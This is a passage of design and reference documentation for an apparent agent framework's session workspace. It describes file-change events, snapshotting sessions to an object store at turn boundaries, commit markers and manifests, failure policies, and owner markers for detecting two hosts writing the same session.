    Plugins              []string          // Active plugin IDs
    Labels               map[string]string // User-defined labels
    TurnCount            int               // Number of conversation turns
    TokensUsed           int               // Total tokens consumed
    PromptTokensUsed     int               // Input tokens consumed
    CompletionTokensUsed int               // Output tokens consumed
    CostUSD              float64           // Accumulated cost in USD
    Status               string            // "active" or "ended"
}

Session Workspace API

Plugins interact with the session through the SessionWorkspace struct:

// Write a file to the session workspace
session.WriteFile("context/mydata.json", data)

// Read a file back
data, err := session.ReadFile("context/mydata.json")

// Append to a file (useful for JSONL logs)
session.AppendFile("context/events.jsonl", line)

// List files in a subdirectory
files, err := session.ListFiles("context")

// Check if a file exists
exists := session.FileExists("context/conversation.jsonl")

Directory Helpers

session.ContextDir()          // ~/.nexus/sessions/<id>/context/
session.FilesDir()            // ~/.nexus/sessions/<id>/files/
session.MetadataDir()         // ~/.nexus/sessions/<id>/metadata/
session.PluginDir("nexus.tool.shell")  // ~/.nexus/sessions/<id>/plugins/nexus.tool.shell/

PluginDir() creates the directory lazily on first access.

File Events

Every SessionWorkspace write helper announces itself on the bus, so a subscriber does not have to watch the filesystem to know what a session changed:

EventWhen
session.file.createdA path under the session root appeared
session.file.updatedA path that already existed changed
HelperEmits
WriteFilecreated on first write, updated on every rewrite
AppendFilecreated on the append that creates the file, updated on every later append
SaveMetaupdated for metadata/session.json, which is rewritten on every llm.response and every agent.turn.end

The payload carries session_id, the slash-separated session-relative path, size (the size of the whole file after the write, not the size of the change), and an append-aware delta: offset and bytes_added. The TUI, browser and Wails transports subscribe to these to surface file activity; see Event Reference for the exact payload.

AppendFile reuses the same two event types rather than a separate append event, so existing subscribers see appends without changing.

The append-aware delta

Appends are the highest-churn writes in a session — conversation history, turn timing, compaction output and shell history all land through AppendFile — and a subscriber told only “this path changed” has to re-read (and, for a sync backend, re-upload) the whole file every time. offset and bytes_added say which part changed:

ShapeMeaning
offset == 0 && bytes_added == sizeThe whole object is new. Every WriteFile, and the first append that creates a file.
offset > 0 && offset + bytes_added == sizeA pure append. Every byte before offset is byte-identical to what the last event for this path described.

A distinct session.file.appended event was considered and rejected. It would have carried the same three numbers, cost every existing subscriber a change just to keep seeing appends, and — because context/conversation.jsonl is written by both helpers — forced each of them to merge two event streams to reconstruct one file’s history. The delta is more information about a change subscribers already receive, so it belongs on the payload.

Object stores have no append primitive. Nothing here lets a backend write the appended bytes into an existing object: S3, GCS and every S3-compatible store replace whole objects. What the delta buys is the freedom to coalesce and defer — a backend that knows the last two hundred events on conversation.jsonl only added bytes to the tail knows it can collapse them into one upload of the current file at the next boundary, and knows it has not missed a rewrite in between. Reading offset as “seek here and write bytes_added bytes into the bucket” is a misreading.

offset is taken from the append descriptor’s own position after the write, so it stays exact even if another writer appends to the same path in between. If that read fails it falls back to 0, which reads as “the whole object changed” — the conservative direction, since a backend then re-uploads a file it could have coalesced rather than coalescing a change it should have treated as a rewrite.

Creating or loading a workspace writes metadata/session.json silently. That happens before the journal writer subscribes to the bus, and an event there would consume a dispatch sequence number the journal never receives — which stalls its writer, since it only writes envelopes in contiguous sequence order. StartSession re-saves the metadata once the journal is running, so the file is still announced.

Writers that bypass the helpers

Not everything under a session tree goes through the workspace helpers. Some writers hold a long-lived *os.File, some write through temp-file + rename for atomicity, and some own a directory layout that is theirs rather than the workspace’s. Two helpers exist for them:

HelperUse
AnnounceWrite(fullPath, existed)A whole-file write. existed must be sampled before the write and selects created vs updated.
AnnounceAppend(fullPath, bytesAdded)Bytes appended to the tail. Takes no existed flag — it derives created from a post-append offset of 0, so a descriptor opened with O_CREATE at plugin Init still announces a creation for the first real bytes written through it.

Both take an absolute path and emit exactly the payload WriteFile emits, with the path relativised to the session root. Both are silent when the workspace has no bus, when the path is not under the session root, or when the path is one the object-store seam excludes outright — so it is impossible to announce store.db or session.lock by mistake, and a plugin whose output directory is configurable can call them unconditionally instead of repeating an escape check.

An fsnotify watcher over the session root was the rejected alternative. It buys completeness with no call-site changes, and costs a watch descriptor per directory, a rename storm to debounce on every atomic write, and — fatally — no way to tell “the writer finished” from “the writer is halfway through”, which is the one distinction a sync backend needs.

Every raw writer has a decided disposition

The set of writers that bypass the helpers is closed and enumerable: the plugin-level ones all take their directory from PluginDir() or a config key, and the rest are named engine subsystems. Each has one of four dispositions, recorded in code as engine.SessionTreeWriters() so an enforcement test can consume it:

DispositionMeaning
emitAnnounces every write on the bus; a sync backend can push it as it lands.
turn-boundary-onlySilent on the bus by decision. The bytes still reach the store, through the whole-tree snapshot taken at agent.turn.end and at shutdown.
write-throughPushed to the object store the moment the bytes land, with no bus event at all. Only safe where the object key is derived from the content, so a duplicate upload is a no-op rather than a race — exactly one subtree qualifies.
excluded-by-designNever leaves the machine at all — not on the bus, not in the snapshot.
WriterWritesDispositionWhy
plugins/sceneplugins/nexus.scene/scenes.json + scenes.jsonl patch journalemitThe highest-churn raw writer under a session, and the journal is the durable source of truth the replay primitive reconstructs scene state from — a run killed mid-turn otherwise loses exactly the scenes it just built.
plugins/workflows/icm/sessionplugins/nexus.workflows.icm/<runID>/ stage artifacts and sidecarsemitAn ICM run is long enough that waiting for a turn boundary discards completed stages on a crash. Every write funnels through WriteArtifact plus the two input-copy loops.
plugins/llm/batchone JSON state file per in-flight batchturn-boundary-onlybatch.data_dir defaults to ~/.nexus/batches, outside every session tree. Its durability requirement is a local disk that survives a restart — the coordinator resumes batches by scanning the directory at boot — not a remote copy.
plugins/memory/longtermone markdown file per memory keyturn-boundary-onlyDefaults to ~/.nexus/memory; cross-session by definition, so deliberately not under a session.
plugins/rag/ingestembedding cache entries (cache.go) and generated chunk prefixes under <cache_dir>/_prefix (contextual.go)turn-boundary-onlyDefaults to ~/.nexus/vectors/_cache. Both are caches of output derivable from the source documents — pushing them spends bandwidth on bytes a resume can regenerate, and losing them costs latency and tokens, not correctness.
plugins/tools/codeexecskill helper .go sources into an os.MkdirTemp GOPATHturn-boundary-onlyCannot be under a session tree. The helpers are staged into a fresh temp root purely so Yaegi’s import resolver can find them, and the deferred cleanup deletes the whole root before the tool call returns — there is nothing durable to carry.
plugins/io/oneshotthe run’s JSON transcript, to output_fileturn-boundary-onlyoutput_file is unset by default, so normally no file exists. When set it is an operator-chosen destination for a shell pipeline, normally outside the session, and finalize runs once at the end of the last turn or at shutdown — an announcement would buy the tail of a run that is already over.
plugins/control/hitlrequest/response filesturn-boundary-onlyDefaults to ~/.nexus/hitl, and is a filesystem IPC rendezvous rather than session state. Restoring an in-flight pair would re-ask a question that was already answered.
plugins/observe/samplersampled journal + metadata.jsonturn-boundary-onlyDefaults to ~/.nexus/eval/samples: an eval corpus accumulated outside sessions so it survives their cleanup. Also a copy of journal bytes the snapshot already carries.
pkg/engine/journal/writer.go, rotate.gojournal/events.jsonl, journal/events-NNN.jsonl.zstturn-boundary-onlyEmitting here is a self-feeding loop, not a preference: the writer’s input is every event on the bus. It holds no bus reference at all, which makes the loop impossible by construction. The snapshot captures the journal through journal.Writer.Snapshot.
pkg/engine/toolcache.gojournal/cache/<tool>/<argshash>.jsonturn-boundary-onlyA replay companion to journal/events.jsonl and useless without it, so streaming one while the other waits would push half an artefact pair. It also runs inside a tool.result handler, where an emission would roughly double bus traffic on the hottest path.
pkg/engine/blobsblobs/<xx>/<sha256>.bin and .metawrite-throughContent-addressed, so the key is derived from the bytes and a duplicate upload is a no-op rather than a race — the one subtree that can be pushed the instant it lands with no barrier. Pushed by a plain func hook (blobs.WithPutHook), not by an event, which keeps the package free of a bus dependency and keeps blob traffic off the hottest tool paths in a session. Local LRU eviction is not mirrored remotely. See Blobs push on write.
pkg/engine/storage/sqlite.goplugins/<pluginID>/store.dbexcluded-by-designWAL mode. Committed frames live in store.db-wal until a checkpoint, so streaming partial writes uploads a database that is corrupt, or plausible and silently stale. It reaches the store only as a checkpointed VACUUM INTO snapshot; the -wal / -shm / -journal sidecars never cross the seam.
pkg/engine/session_lock.gosession.lockexcluded-by-designThe file carries the local PID of the owning process and Boot refuses to start against a live one. Round-tripping it stamps one host’s PID onto every later resume — correct by coincidence on a fresh container, and wrong the moment that number is in use.

The invariant, and the test that holds it

A write under a session tree must announce itself on the bus. Real-time sync is exactly as complete as the events are, so a write nothing announced is history that quietly never arrives.

The one sanctioned alternative to announcing is pushing directly, and it is available only where the object key is derived from the content: see Blobs push on write. Anything else that is silent on the bus waits for the turn boundary, which is a decision the table has to record rather than a gap the table hides.

The table above closes today’s gap. TestPluginRawWritesAreAnnouncedOrAllowlisted (pkg/engine/session_writers_enforce_test.go) is what stops a future plugin reopening it. It runs inside make test — untagged, no network — and does the following:

  1. Parses every non-test Go file under plugins/ with go/parser (standard library; this guard adds no dependency).
  2. Flags direct calls to os.WriteFile, os.Create, os.CreateTemp and os.OpenFile, resolving the os import through its local name so an alias or a dot-import is not a way around it.
  3. Requires each flagged file to either call AnnounceWrite / AnnounceAppend, or carry a row in engine.SessionTreeWriters().

If you trip it, the failure message spells out the three ways forward: announce the write, route it through session.WriteFile / session.AppendFile, or add a row with a Why. The allowlist is SessionTreeWriters() itself rather than a list local to the test, so silencing the guard and documenting the decision are the same edit — and a row whose file stops writing raw bytes is reported as stale by TestSessionTreeWriters_PluginRowsStillWriteRawBytes, so the list shrinks as well as grows.

What the guard deliberately cannot see, so that it is not trusted past its limits:

  • Writes through an *os.File handed to another package, through bufio or io.Copy onto a descriptor opened elsewhere, through text/template.Execute, or through a third-party library.
  • Announcement is matched per file, not per call: a file with one announced and one unannounced write reads as covered.
  • Only plugins/ is scanned. pkg/engine’s raw writers are a small closed set of named subsystems that already have rows; cmd/ is not scanned at all.

Session Lifecycle

Creating a Session

When Engine.Run() starts, it calls NewSessionWorkspace() which:

  1. Generates a random hex session ID
  2. Creates the directory structure (context/, files/, metadata/, plugins/)
  3. Writes initial metadata with status "active"

Resuming a Session

When launched with -recall <sessionID>:

  1. The engine loads the session’s config snapshot from metadata/config-snapshot.yaml
  2. LoadSessionWorkspace() opens the existing directory
  3. The session metadata is updated back to "active"
  4. Plugins find their persisted data in their PluginDir()

Ending a Session

On shutdown, the engine:

  1. Sets EndedAt on the session metadata
  2. Updates status to "ended"
  3. Saves a config snapshot for future recall

The snapshot is the original config YAML bytes verbatim, not a re-serialization of the typed Config struct. core.models and per-plugin configs are parsed via a second-pass raw map (yaml:"-" on the typed fields), so re-marshaling would silently drop them and break recall. Configs constructed in-memory via DefaultConfig() (no source bytes) fall back to yaml.Marshal of the typed struct.

Configuration

Session behavior is configured in the core.sessions section:

core:
  sessions:
    root: ~/.nexus/sessions   # Where sessions are stored
    retention: 30d            # How long to keep old sessions
    id_format: datetime_short # ID generation format
FieldDefaultDescription
root~/.nexus/sessionsBase directory for all sessions
retention30dRetention period for old sessions
id_formattimestampFormat for generating session IDs

Object-Store Backing (optional)

By default a session lives only on local disk. core.object_store optionally makes a remote object store the source of truth for a session between runs, so a session can be killed on one host and resumed on another with no shared filesystem — the case for containers, Cloud Run and Lambda, where there is no disk between invocations.

Local disk remains the working copy during a run. The seam (pkg/engine/objectstore.Backend) is deliberately a lifecycle interface — Hydrate, Put, Delete, List, Flush over object keys — not an abstraction over os.*. Core and every plugin keep reading and writing ordinary local files, so “behaves exactly like local disk” is a guarantee rather than an aspiration, and SQLite keeps running against a real file.

Backends are selected by name in the database/sql driver style. Each ships as its own Go module so the main module’s dependency list never grows; an embedder blank-imports the module and names it in config. The interface refers to no cloud-specific concept, so a third party can implement it out of tree.

With no backend named — the default — no object-store code runs at all: no handle is opened, no snapshot handler is subscribed, and a backend sitting registered in the process is never touched. Every shipped profile under configs/ leaves the seam inert, and TestDefaultPathNeverTouchesARegisteredBackend in pkg/engine holds the default path to it.

Lifecycle points

The engine touches the seam in exactly six places, all in pkg/engine:

WhenWhat happens
Top of BootThe configured backend is resolved once. A failure here fails the boot.
Top of Boot, before any plugin can open storageApp- and agent-scope plugin stores are hydrated. See The other roots.
Before a resumed workspace is openedThe whole tree is hydrated from the store under the object key prefix sessions/<session id>, then pruned to exactly the object set the committed manifest names.
Once the workspace exists and the local lock is heldAn owner marker is claimed at sessions/<session id>.owner/owner.json, and a second host holding the session is detected. See Two hosts, one session.
Every turn boundaryThe whole tree is snapshotted and made durable, a per-object manifest and then a commit marker are published, then the shared plugin stores are snapshotted.
End of StopA final snapshot runs, the owner marker is removed, then Flush, then the backend is released.
AbandonEvery background worker stops and the backend handle is dropped. No snapshot, no Flush, and the owner marker is left where it is. See Dropping a session without closing it.

Hydration is eager and whole-tree, and completes before the first turn runs. There is deliberately no lazy or faulting read: threading one through the engine and ~60 plugins would be impossible to get right, and SQLite could not use it at all — so “behaves exactly like local disk” would degrade from a guarantee to an aspiration.

Hydration lands in a staging directory inside the sessions root and is published with an atomic rename, so a hydration that dies partway leaves nothing at <root>/<session id> and the partial tree is discarded. That failure fails the boot under both failure policies: degrade means “keep running against the local copy”, and at hydrate time there is no local copy — degrading would hand the agent an empty session that looks complete.

Resuming a session ID the store has never seen is not an error. It yields a valid empty session, created through the same code path as a brand-new local one, so the two are indistinguishable.

<sessions.root>/<id>/session.lock (written on Boot, see Human-in-the-Loop operations) never crosses the seam in either direction. It records the PID of the process holding the session on one particular machine; a lock that travelled with the session would make every rehydrated session look permanently locked by a process that no longer exists. The exclusion is enforced at the seam itself, in pkg/engine/session_objectstore.go, so every present and future push path shares one definition of “never syncs”.

Plugins are unaware of any of this. Nothing is exposed on PluginContext, and no plugin calls the seam.

Turn-boundary snapshots

The hook is agent.turn.end, and it is handled in core. That event is already the engine’s definition of a turn boundary — the journal fsyncs on it and rotates on it, and the turn counter and metadata/timing.jsonl are driven by it — so hanging the snapshot anywhere else would invent a second, disagreeing notion of “turn”. The subscription lives in pkg/engine/session_objectstore.go: no plugin implements an interface, calls a method, or learns that an object store exists. An agent loop emits the event it already emitted.

Two more triggers exist. session.snapshot.request forces a snapshot for callers that do not emit turn events — an embedder driving the engine directly, or a custom agent loop — and Stop takes a final one, so a session that ends between turns (or ran no turns at all) is still in the bucket. Every snapshot publishes a session.snapshot.result carrying the object count, the byte total, the duration and whether it succeeded.

The snapshot is synchronous: it blocks the goroutine that ended the turn until the bytes are durable. A background snapshot would report a turn complete while its state was still in flight, which is precisely the guarantee this exists to provide.

It is installed as a wildcard subscription filtered to agent.turn.end, not a typed one, and that is a correctness requirement rather than a style choice. The bus runs every typed handler before any wildcard, and the journal is itself a wildcard. A typed handler would therefore snapshot a journal ending one envelope short of the very boundary it is reacting to — and a journal whose last turn has no agent.turn.end is exactly what journal.Coordinator.IsPartialTurn calls an unfinished turn, so every resume from that snapshot would re-fire the last input and re-run a turn that had already completed. Registering after the journal’s wildcard also means the snapshot sees the writes the boundary itself produces — memory compaction, the turn counter, history pruning — rather than the state before them.

What must not be copied naively

Two things in the tree rewrite themselves while a reader is walking it, and both are staged into a temporary directory beside the session rather than uploaded in place.

Per-plugin SQLite. A live store.db is a WAL database: committed transactions sit in store.db-wal until a checkpoint folds them back, and store.db-shm is a process-local index into that WAL. Neither sidecar means anything on another host, so the uploaded file has to stand alone. Every snapshot therefore runs PRAGMA wal_checkpoint(TRUNCATE) and then VACUUM INTO a staging path. The checkpoint is what makes the live file self-contained (and bounds -wal growth over a long session); VACUUM INTO is what makes the snapshot untearable, since a plugin committing between the checkpoint and the last read byte would otherwise produce a corrupt — not merely stale — file, and a corrupt file that uploads successfully is worse than a failed upload. store.db-wal, store.db-shm and store.db-journal are excluded from the seam entirely, in both directions.

The journal. Rotation compresses events.jsonl into the next events-NNN.jsonl.zst and truncates the active segment, and it fires on the drain goroutine the instant an agent.turn.end envelope lands — the same event the snapshot reacts to. Read the active segment after the truncate but list the directory before the new .zst appears and the turn’s events are in neither object; capture both and they are in the bucket twice. journal.Writer.Snapshot takes the writer’s file mutex — the one rotation holds — and captures a single consistent instant: rotated segments and header.json are immutable once written and are read in place, while the mutable active segment is copied under the lock. A Barrier runs first so the capture includes the very turn that triggered it rather than trailing it by whatever is still queued. journal/cache/ is ordinary data and is walked normally.

What is never re-uploaded

A snapshot is O(whole tree), not O(what changed), and that cost is paid on every turn. Two kinds of file in a session tree cannot change once written, and a snapshot that has already stored them does not store them again:

PathWhy it cannot change
journal/events-NNN.jsonl.zstSealed at rotation. Rotation compresses the active segment into the next free NNN slot and never reopens it.
blobs/<xx>/<sha256>.bin and .metaContent-addressed. Different bytes would have a different sha256 and therefore a different name, so a file at that path either holds those bytes or does not exist. Usually already uploaded before the snapshot runs at all — see Blobs push on write.

The skip is by construction, never by diffing. A file qualifies because its identity proves immutability, not because a hash or an mtime comparison suggested it was unchanged — blobs.Store.Put touches mtime on every hit, so mtime would have been actively misleading here. General content-hash or mtime-based change detection over the rest of the tree is deliberately not implemented: ordinary session output is still re-uploaded in full every turn.

Being unchangeable locally says nothing about whether the object ever reached the bucket, so immutability alone is only half the decision. Every snapshot lists the session’s key prefix and skips a file only when that listing says the store holds it at exactly that size. A skipped file that is missing — or truncated — is uploaded like anything else, so a skip can never turn a gap into a permanent gap, and the skip repairs itself against anything that removes an object out of band. A backend that cannot list makes the snapshot upload everything, which is always the safe direction. The listing costs one or two round trips against as many avoided uploads as the session has immutable files.

A skipped object is still part of the committed object set: objects and bytes on the commit marker and on session.snapshot.result describe the whole stored session, exactly as they did before the skip existed, and objects_uploaded / objects_skipped split that set into what this turn paid for and what it saved. The per-object manifest is built from the committed set, not from “what was uploaded this turn” — a manifest of only-what-was-uploaded would describe a session with its journal segments and blobs missing, and a hydration honouring it would then faithfully reproduce that truncated session.

Blobs push on write

<session>/blobs/ does not wait for the turn boundary. A blob store opened through SessionWorkspace.BlobStore() carries a blobs.PutHook, and each new blob’s .bin and .meta are handed to a single background worker that uploads them and flushes once the queue goes quiet.

What that buys, precisely. Not bandwidth — objectStoreImmutable already made each blob a once-ever upload, so the repeated per-turn cost was never being paid. What is left is the window between a blob landing and the next agent.turn.end. Blobs are the largest single objects in a session tree, so a turn that fetches a PDF, renders a screenshot and embeds an image otherwise holds all of it on local disk until the turn ends: a process killed halfway loses every blob it produced, and what survives is a conversation history full of nexus-blob: URIs that resolve to nothing after a resume on a fresh host. Write-through shrinks that window from “one turn” to “one queue drain”, and spreads the upload across the turn instead of spiking at the end of it. That is a narrow win, and it is the whole win.

Why no barrier is needed. The key is derived from the sha256 of the content, so the same key can only ever carry the same bytes. A write-through Put racing a snapshot Put of the same blob is two identical uploads, not a conflict: no read-modify-write, no window in which a partial object sits under a key another writer will fill with different content. context/ conversation.jsonl has none of those properties, which is why the general push still waits for a boundary.

It is an optimisation, not the guarantee. Every failure mode on this path — a full queue, a Put error, a drain that timed out at shutdown — costs the delay it was trying to remove and nothing else. The turn-boundary snapshot still walks the whole tree and still re-uploads any immutable file the store does not already hold at exactly the right size, so correctness lives there.

No event. The push is a plain func hook rather than a session.file.* emission. An event per blob would have put traffic on the hottest tool paths in a session — every read_image, every fetch_page_image, every MCP binary payload — to carry a fact the object key already encodes, would have made every existing subscriber react to blob writes it has no use for, and would have cost pkg/engine/blobs its deliberate independence from the bus (it is a standalone content store usable outside an engine, and it still imports nothing outside the standard library).

Local eviction never deletes remotely. The blob store sweeps by mtime under an LRU byte budget, and that budget exists to bound disk — exactly the constraint a bucket does not have. There is no delete hook, and nothing on this path ever calls Backend.Delete. A swept blob stays in the store; a Get for it afterwards is a local miss that hydration can repair, not a lost object. Mirroring the eviction would destroy data the operator is paying to keep, and would do it to content a later session may still reference by URI.

blobs/ is still created lazily, on the first Put — not at session boot and not by opening the store — so a session whose tools never produce a blob has no blobs/ directory to sync at all.

Failure, and the commit marker

Object stores have no multi-object transaction, so a tree spread over many objects cannot be replaced atomically. Three properties give “a failed or partial upload never replaces a good remote copy” anyway:

  1. Nothing is uploaded from a file that could be torn — see above.
  2. A snapshot never deletes. It adds and overwrites only, so a failure cannot remove remote state it did not successfully replace.
  3. A per-object manifest at sessions/<session id>.manifest/manifest.json is written and flushed after every other object is durable, listing exactly the object set that generation asserts is present.
  4. A commit marker at sessions/<session id>.snapshot.json is written and flushed after the manifest. It therefore only ever advances past a complete snapshot: a failed or half-finished upload leaves it naming the previous one, which is the snapshot guaranteed to be restorable.

Both are sibling keys, not members of the tree. Because prefixes match whole segments, sessions/<id>.snapshot.json and sessions/<id>.manifest/ are deliberately not under prefix sessions/<id>, so neither hydrates back into the session and neither becomes an input to the next snapshot.

Generation directories — write the whole tree under sessions/<id>/gen-<n>/ and flip a pointer — were considered and rejected. They give true atomic replace at the cost of a second full copy of every session in the bucket and an indirection hydration would have to resolve on every boot. The marker answers the same question for one small object.

The generation stamp and the per-object manifest

A snapshot never deletes, so an interrupted snapshot leaves a superset: some objects from generation N+1 sitting beside the rest of generation N. Without something to say which is which, that tree hydrates silently and produces a session whose artifacts disagree with its own history.

Two records answer it, both siblings of the tree:

KeyContents
sessions/<id>.snapshot.jsonThe commit marker: session ID, generation, manifest_key, per-run sequence, trigger, turn ID, completion time, object and byte counts. Deliberately small — an operator reads it by hand.
sessions/<id>.manifest/manifest.jsonThe per-object manifest: generation plus a sorted array of the session-relative paths that generation asserts are present. Paths only — no sizes, no digests, no mtimes. It is a set, not an index.

generation increases by one per completed snapshot and, unlike sequence, carries across runs: a resuming host seeds it from the committed manifest, so a bucket never records the stamp going backwards. Gaps are normal — a failed snapshot claims a generation and does not roll it back.

The write order is load-bearing and is the same write-last discipline the marker always had: objects → flush → manifest → flush → marker → flush. So a manifest is never visible before the objects it describes are durable, and a marker is never visible before the manifest it names. The only mismatch this ordering can produce is a manifest one generation ahead of the marker, which is a manifest that is still exactly right — which is why hydration keys off the manifest.

The manifest is a directory-shaped prefix rather than a flat sessions/<id>.manifest.json because objectstore.Backend has no single-object read: Hydrate is the only way to pull bytes down, and it takes a prefix whose exact-match object is explicitly not “under” it. That is also why the commit marker itself cannot be what hydration reads. Widening the published interface with a Get would break every out-of-repo backend module.

What hydration does with it. The tree is pulled into a staging directory as before, then everything the committed manifest does not name is removed — before the staging directory is renamed into place, so an uncommitted object is never observable at the session path even for an instant. The orphaned objects are left in the bucket, never deleted: reclamation is the operator’s, and this seam never removes remote data.

Two deliberate exceptions:

  • No manifest at all (a bucket written by an older build, or a session that has never completed a snapshot) falls back to materialising everything under the prefix — byte-for-byte the behaviour that shipped before — and logs it.
  • Content-addressed blobs are never pruned, even when the manifest does not name them. That is a correctness requirement, not a bandwidth saving: the blob store sweeps local disk under an LRU byte budget while a snapshot never deletes remotely, so a blob referenced by a nexus-blob: URI in the committed history can legitimately be in the bucket and absent from the manifest. Pruning it would break a URI that resolves today. The exemption is also exactly coextensive with “objects written outside a snapshot”, because write-through and its retry queue push nothing but blobs. Sealed journal segments are immutable too and are deliberately not exempt — one from an interrupted generation carries events the committed history does not.

Where the guarantee stops. A snapshot overwrites in place and the manifest names paths, not versions. An interrupted snapshot that got as far as re-uploading a mutable object — context/conversation.jsonl, the active journal segment, a per-plugin store.db — has already replaced the committed generation’s bytes at that key, and no listing of paths brings them back. Hydration restores exactly the committed set; within that set an overwritten object carries the dead generation’s bytes. Closing that window means per-generation object keys, which is the generation-directories design costed and rejected above. TestInterruptedSnapshotCanOverwriteACommittedObjectInPlace in pkg/engine pins the boundary so it is not rediscovered by accident; TestInterruptedSnapshotRestoresTheCommittedGenerationIntact and TestHydrationRestoresOnlyTheCommittedGeneration pin the guarantee.

Cost. The manifest is re-uploaded whole on every snapshot, which is the cost the commit marker was originally designed to avoid and which was accepted here in exchange for correctness. Measured by BenchmarkSessionSnapshot’s manifest_KiB metric: 18.9 KiB for the 1007-object / 91 MiB session (~19 bytes per object, 0.02% of the tree, against a 90.7 MiB per-turn upload). A blob-heavy session pays more per object because a content-addressed path is 69 characters — 157 KiB for 2009 objects — which is still 0.55% of that shape’s 27.9 MiB per-turn upload.

Failure policy: degrade and strict

A snapshot that cannot complete is where core.object_store.failure_policy earns its keep. Both values retry, both publish the outage on the bus, and both recover with no operator action. What differs is whether the session keeps taking turns while the store is unreachable.

Under degrade — the default — the session keeps running against the local working copy. The failure is a warning, the state is queued for retry, and turns carry on. The honest caveat belongs here rather than only in a comment: during a long outage the durability guarantee is not being met even though nothing is failing. Work the user watched happen exists only on local disk, and a host that dies while degraded loses it. That is the trade the operator chose by selecting it.

Under strict the failure additionally raises core.error and closes a turn gate: every subsequent io.input is vetoed until a snapshot succeeds. Be precise about what that buys, because the tempting summary is wrong:

The turn that hit the outage already happened. Its output was streamed to the user, its tools ran, and its side effects are in the world. Nothing in Nexus un-runs it.

strict refuses the next turn, which is the last point at which nothing has happened yet. A genuine pre-commit gate would need a vetoable turn-boundary event, which does not exist — and would not help if it did, since by the time an agent loop can report a turn the work is done. So the guarantee is: no turn ever runs against state whose predecessor was not durably stored, and the divergence is never silent. Not: “the failed turn was prevented”.

The gate is a before:io.input subscriber at priority 200, behind every other one (nexus.control.cancel and nexus.mcp.client both sit at 5), so slash commands and cancellation still work while it is closed — an operator whose bucket is down must still be able to stop the run.

Retry, and the bound. One background worker per run retries with exponential backoff (1 s, doubling, capped at 60 s). It carries two kinds of work: a bounded queue of deferred pushes, capacity 256 objects, fed by blob write-through failures; and a “whole-tree snapshot pending” flag, the backstop, set by a failed snapshot, a failed flush or a queue overflow. Overflow therefore does not lose work — the discarded push is replaced by a snapshot that re-uploads everything the store does not already hold at the right size, which is strictly stronger and merely coarser. The bounds, the schedule and the timeouts are compiled-in constants rather than config keys, on the same reasoning E3-S2 applied to the write-through constants: an operator who wants to tune them is asking for a different failure_policy.

Recovery drains itself. Either the next turn-boundary snapshot closes the episode, or — on an idle session where no further turn is coming — the retry worker does, publishing its snapshot under the retry trigger. Exactly one session.storage.degraded goes out per outage and one session.storage.recovered when it ends, so a subscriber counts outages rather than failed requests.

One deliberate exception. A blob write-through failure never closes the strict gate. Write-through is an optimisation in front of the snapshot, which re-uploads anything missing; failing a turn because it stumbled on an object the very next snapshot repairs would make strict fire on transients it is not there to catch. Such a failure still queues for retry and still counts towards the degraded state.

Hydration failure is the one thing both policies treat identically: it fails the boot. degrade means “fall back to the local copy”, and at hydrate time there is no local copy.

Cost

The snapshot is O(tree size minus the immutable share) on every turn, and a session tree only grows. Measured on an M1 Max against the in-memory backend (engine work only — staging, checkpoint, tree walk, per-object handoff — with no network):

TreeObjectsSizeUploaded per turnPer turn
10 files + a 100-row store170.05 MiB17 objects / 0.05 MiB~13 ms
200 files + a 5k-row store2076.0 MiB207 objects / 6.0 MiB~29–35 ms
1000 files + a 50k-row store100791 MiB1007 objects / 91 MiB~155–175 ms
1000 blobs + a 50k-row store200790 MiB7 objects / 28 MiB~137 ms

The first three rows are ordinary files/ output, which nothing in the tree proves immutable and which is therefore still re-uploaded in full every turn. The last row is the same volume of bytes held as content-addressed blobs: before immutable-skip it uploaded 2007 objects and 90 MiB per turn (~200 ms); after, it uploads the 7 mutable objects and 28 MiB, of which the per-plugin store.db is almost all. On a 100 Mbit link that is roughly 7.6 s per turn down to 2.3 s.

Underneath is a fixed floor of roughly 12 ms (checkpoint, VACUUM INTO, journal barrier, fsync) plus 500–600 MiB/s of local throughput; real network time lands on top. BenchmarkSessionSnapshot in pkg/engine reproduces all four rows, reporting puts/op and upload_MiB/op alongside the tree size. Every snapshot logs objects, bytes, objects_uploaded, bytes_uploaded, objects_skipped, bytes_skipped, db_bytes and duration, and publishes the same numbers as session.snapshot.result, so the growth is visible rather than inferred.

The residual store.db cost is O(database size) per turn regardless of how little changed, and delta upload for mutable files and a size-dependent snapshot cadence are still deliberately not designed.

The other roots

The session tree is one of four roots the seam covers, and the only one with a commit marker, a turn-by-turn history and a lock. The other three are:

RootObject keyLifecycle
App-scope plugin storageplugins/<pluginID>/store.dbHydrated at Boot before any plugin can open a handle; snapshotted at every turn boundary and at shutdown.
Agent-scope plugin storageagents/<agent_id>/plugins/<pluginID>/store.dbThe same, when core.agent_id is set. With it empty the handle collapses to app scope and so does the key.
Eval run outputeval/<run-id>/…Published once by nexus eval run when its --config names a backend. Written once, never mutated, so there is nothing to hydrate.

Keys mirror the on-disk layout beneath the data root and sit beside sessions/, never under it. That is the reservation the sessions/ segment was chosen for. Nesting shared state under the session that flushed it would give every session its own copy of a machine-wide store, which is how nexus.gate.token_budget’s tenant token ceiling would quietly turn into a per-session ceiling with nothing erroring.

One interface serves all four: no Backend method mentions a root, and the per-root policy — when to push, what wins on a collision, whether a local copy may be overwritten — lives entirely on the engine side in pkg/engine/shared_objectstore.go.

The journal needs no separate row: it lives at <session>/journal/ and is captured at a consistent instant inside the session snapshot.

Details, including the one-writing-host-at-a-time constraint a shared root brings, are in Per-Plugin Storage → Object storage for app and agent scope.

Two hosts, one session

The seam assumes a session has exactly one writing host at a time. Nothing enforces that, and the failure when it is violated is completely silent: two hosts hydrate the same session ID, both snapshot the whole tree at their own turn boundaries, and the loser’s conversation history, journal and per-plugin store.db are overwritten at whole-file granularity with no error anywhere. On ephemeral compute, an instance the scheduler presumed dead but which is still running is routine rather than exotic.

An owner marker makes that diagnosable. It is a small JSON object at sessions/<id>.owner/owner.json — a sibling of the session prefix, exactly like the commit marker, so it never hydrates into the tree and never becomes an input to the next snapshot:

FieldMeaning
hostos.Hostname of the holder. Per-instance on Kubernetes, Cloud Run and ECS.
pidThe holder’s OS process ID. Meaningful only together with host.
instance_idUnique per engine run — what tells two containers sharing a hostname and a PID apart.
claimed_atWhen the session was claimed.
heartbeat_atRefreshed every 30 seconds while the run is live.

Boot reads the marker before it writes its own — for a resumed session and a brand-new one alike — and a clean Stop removes it, while Abandon deliberately leaves it. The read also runs when hydration short-circuited because a local tree was already present, so a warm host whose stale local copy is shadowing a session another host has since taken over is detected too.

